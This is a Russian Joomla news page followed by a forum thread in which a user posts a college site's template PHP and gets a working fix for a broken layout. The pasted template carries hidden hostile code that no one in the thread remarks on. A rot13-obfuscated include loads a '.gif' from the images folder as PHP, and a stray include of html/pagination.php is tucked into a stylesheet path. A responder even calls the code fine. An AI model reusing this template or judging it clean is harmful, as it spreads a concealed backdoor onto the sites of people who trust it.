Новости Joomla

👩‍💻 SW JProjects v.2.6.1 - компонент каталога расширений для веб-приложений.

👩‍💻 SW JProjects v.2.6.1 - компонент каталога расширений для веб-приложений.

Компонент позволяет сделать свой мини-Joomla Extensions Directory - каталог расширений для CMS (не только для Joomla) или файлов. Есть возможность скачивания по лицензионным ключам создания кастомных схем данных для сервера обновлений.

👩‍💻 v.2.6.1. Что нового?
- Правки наследования схем серверов обновлений. Улучшена логика наследования схем серверов обновлений для проектов компонент - категория - проект.
- Не стабильные релизы в сервере обновлений. Теперь в данные сервера обновлений попадают все версии (alpha, beta и т.д.), а не только stable.
- Косметические изменения. В шаблоне по умолчанию сделаны замены некоторых CSS-классов, уточнено присвоение атрибутов loading=lazy и fetchpriority.
- Рефакторинг и правки кода. Текущее обновление кодовой базы.
- Исправление ошибок.

👩‍💻 Больше спасибо за помощь в тестировании участникам нашего сообщества Александру Новикову (@pro_portal) и Александру Судьбинову (@alexrevo).

- Страница расширения
- GitHub расширения
- Joomla Extensions Directory

@joomlafeed

Событие Pizza, Bugs & Fun - 29-30 января 2026 года.

Событие Pizza, Bugs & Fun  - 29-30  января 2026 года.

Уже несколько лет в мире Joomla проводятся мероприятия "Pizza, Bugs & Fun" (#PBF), где каждый может посвятить несколько часов своего мозгового времени тому, чтобы наша любимая CMS стала ближе к идеалу.

Ссылки на видео и статьи из этого поста рассказывает об организационных вопросах, которые пригодятся для участия в PBF, а так же что и как делать.

В рамках события PBF все желающие могут собираться в общий онлайн чат, обсудить вопросы Joomla и приложить к их разрешению свою руку. Самый классный вариант, когда эта встреча происходит оффлайн: тогда организовывается пицца, напитки по вкусу и несколько часов совместного творчества.

Каждый помогает тем, что он умеет:

  • кто-то пишет недостающую документацию,
  • кто-то пишет код,
  • кто-то тестирует как исправлены ошибки или сделан новый функционал.

На сайте события есть карта, можно "захостить" свою локацию. Практически все движки в мире развиваются за счёт спонсирующих их компаний. Joomla одна из немногих, где развитие идёт только усилиями международного сообщества энтузиастов.

https://www.youtube.com/watch?v=a-FuVKXg_Uw 

На момент написания данного поста в репозитории Joomla 810 открытых Issue (как правило это баги) и 236 Pull request (PR, исправление багов и новый функционал). Все PR обязательно тестируются минимум двумя участниками сообщества, дабы в конечный код движка не проскочила ошибка.

Если каждый из участников только нашего сообщества сделает даже одно тестирование, то, боюсь, PR и Issue на всех не хватит 😀 И ничего не останется нашим коллегам из международных Joomla-чатов.

0 Пользователей и 1 Гость просматривают эту тему.
  • 5 Ответов
  • 2468 Просмотров
*

zadoroga

  • Новичок
  • 3
  • 0 / 0
Господа!
По глупости удалила какую-то букву или слово в коде шаблона из-за чего у меня модуль центральный на сайте уехал вниз.очень нужна помощь ваша!Делаю сайт техникуму и мне оторвут голову если увидят что такой косяк произошел. :'( :'( :'( очень жду ответов!
вот сам сайт http://ntot.ru/
вот код в нынешнем виде:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<script type="text/javascript" src="//vk.com/js/api/openapi.js?116"></script>
<script src="http://vk.com/js/api/openapi.js" type="text/javascript"></script>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
<div id="main_bg" class="banner1">
    <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="forex trading logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Forex Trading Home"><?php echo $mainframe->getCfg('sitename') ;?></a>
    <?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
    <div id="main_top"><!--<jdoc:include type="modules" name="top" />--></div>
    <br clear="all" /></div>
    <?php if($this->countModules('left')) : ?>
   <div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
        elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
        else $maincol_sufix = ''; ?>/>
   <div id="maincolumn<?php echo $maincol_sufix; ?>">
       <div class="path"><jdoc:include type="modules" name="breadcrumb"/> </div><jdoc:include type="message" />
       <div class="nopad"><jdoc:include type="component" /></div></div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout')!= 'form') : ?></div>
   <div id="rightcolumn">
        <jdoc:include type="modules" name="right" style="xhtml"/></div>
        <br />
       <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    <?php endif; ?>
   <br clear="all" />
</div>   
<div id="f_area">
   <?php if($this->countModules('user1')) : ?>
      <jdoc:include type="modules" name="user1" style="xhtml" />
   <?php endif; ?>
   <?php if($this->countModules('user2')) : ?>
      <jdoc:include type="modules" name="user2" style="xhtml" />
   <?php endif; ?>
   <br clear="all" />
</div>
<p id="power_by" align="center">
</p>
<jdoc:include type="modules" name="debug" />
</body>
</html>
*

Ilhom666

  • Завсегдатай
  • 1384
  • 184 / 0
насколько понимаю у вас используется этот шаблон?
Здесь вроде все нормально, так что смотрите другие файлы. Если на хостинге бекапы есть - поднимайте их.
*

zadoroga

  • Новичок
  • 3
  • 0 / 0
к сожалению на хостинге я не нашла папку с бэкапами..не знаю на сколько это возможно, но видимо откатиться мне не удасться((по коду тоже все молчат, хотя там делов думаю не на долго знающему человеку...
*

arma

  • Завсегдатай
  • 1752
  • 81 / 3
хотя там делов думаю не на долго знающему человеку...
Но, если вы "незнающий человек", кто ж вам сайт доверил? Пардон за офтоп.
*

Ilhom666

  • Завсегдатай
  • 1384
  • 184 / 0
дал же сцылку на шаблон, скачать и сравнить не пробовали?
замените кусок
Код: php
<?php if($this->countModules('left')) : ?>
   <div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
        elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
        else $maincol_sufix = ''; ?>/>
   <div id="maincolumn<?php echo $maincol_sufix; ?>">
       <div class="path"><jdoc:include type="modules" name="breadcrumb"/> </div><jdoc:include type="message" />
       <div class="nopad"><jdoc:include type="component" /></div></div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout')!= 'form') : ?></div>
на
Код: php
<?php if($this->countModules('left')) : ?>
   <div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
        elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
        else $maincol_sufix = ''; ?>/>
   <div id="maincolumn<?php echo $maincol_sufix; ?>">
       <div class="path"><jdoc:include type="modules" name="breadcrumb"/> </div><jdoc:include type="message" />
       <div class="nopad"><jdoc:include type="component" /></div></div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout')!= 'form') : ?>
« Последнее редактирование: 18.04.2015, 16:45:57 от Ilhom666 »
*

zadoroga

  • Новичок
  • 3
  • 0 / 0
О, всесильный, спасибо тебе!Все удачно встало на место!Премного благодарна! :-* :D
P.S.сайт мне доверили еще менее знающие от безысходности. Зато теперь есть повод и толчок для изучения данной темы.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как создать новый блок в шаблоне?

Автор moov

Ответов: 7
Просмотров: 8234
Последний ответ 17.12.2018, 14:08:12
от arma
Поменять цвет блоков в шаблоне

Автор nuon

Ответов: 7
Просмотров: 4939
Последний ответ 10.01.2016, 23:11:34
от nuon
Ребят - В шаблоне Default

Автор Djaga

Ответов: 4
Просмотров: 2346
Последний ответ 10.12.2015, 08:01:47
от Djaga
Замена фона в шаблоне Joomla

Автор Jons$

Ответов: 7
Просмотров: 12096
Последний ответ 12.10.2015, 15:49:09
от darkghost
Смена шрифтов в шаблоне Joomla 2.5

Автор GulliWeR

Ответов: 6
Просмотров: 10362
Последний ответ 29.09.2015, 13:29:19
от jetjetjet